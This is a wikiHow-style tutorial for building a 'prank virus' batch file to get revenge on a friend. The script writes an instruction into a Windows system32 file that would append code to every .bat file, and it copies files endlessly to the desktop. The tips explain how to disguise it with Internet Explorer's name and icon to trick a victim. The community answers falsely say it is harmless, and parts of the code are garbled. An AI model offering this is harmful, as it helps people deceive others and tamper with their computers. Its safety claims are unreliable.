PDF download Download Article PDF download Download Article

Have you ever wanted to take revenge on a friend, perhaps for something they did or just getting back at them for being mean to you? If you're stuck in this scenario, this wikiHow is for you. This wikiHow will teach you to make a prank virus, step by step.

Things You Should Know

  • Create your fake virus in a Notepad file.
  • Enter the code into your Notepad file and type “goto1” at the end to create a string of never-ending text.
  • Save the file as “virus.bat” and enjoy your clever prank.
  1. Open notepad

    • @echo off

    • echo checking system:

    • echo for %%i in ("*.bat") do copy %%i+c:\tmp.bat %%i #*>c:\windows\system32\autoexec.NT

    • echo VIRUS DETECTED

    • Pause

    • echo DELETING VIRUS

    • pause

    • :1

    • dir /s

    • copy c:\tmp.bat

    • c:\document~1\%username%\desktop\greatgame_%random%.bat
    • goto 1
    Advertisement
  2. This cannot be stopped easily.
  3. Advertisement

Community Q&A

Search
Add New Question
  • Question
    Will this prank damage my PC?
    Community Answer
    No, it won't harm your computer. You can stop the prank by pressing CTRL + C.
  • Question
    Is the virus harmful for me?
    Community Answer
    No. You simply must restart your computer to stop it.
  • Question
    Can I only make a prank virus in Windows?
    Community Answer
    No, there is other ways to do it in OSX and Linux, but it is slightly different
See more answers
Ask a Question
      Advertisement

      Tips

      • To stop the batch (the fake virus ) from running, press Ctrl+C. Alternatively use the task manager or with vista, press the "x" button.
      • You can make the virus look convincing by changing its name and Icon.
        • One way to do that is simply rename the file. Then right click the icon and click "properties". Then look for the icon you want. You might use the internet explorer icon and name it "Internet Explorer". You do need a shortcut to change the icon though. Just make a shortcut then change the icon in properties.
      Submit a Tip
      All tip submissions are carefully reviewed before being published
      Name
      Please provide your name and last initial
      Thanks for submitting a tip for review!
      Advertisement

      About This Article

      Thanks to all authors for creating a page that has been read 185,617 times.

      Did this article help you?

      Advertisement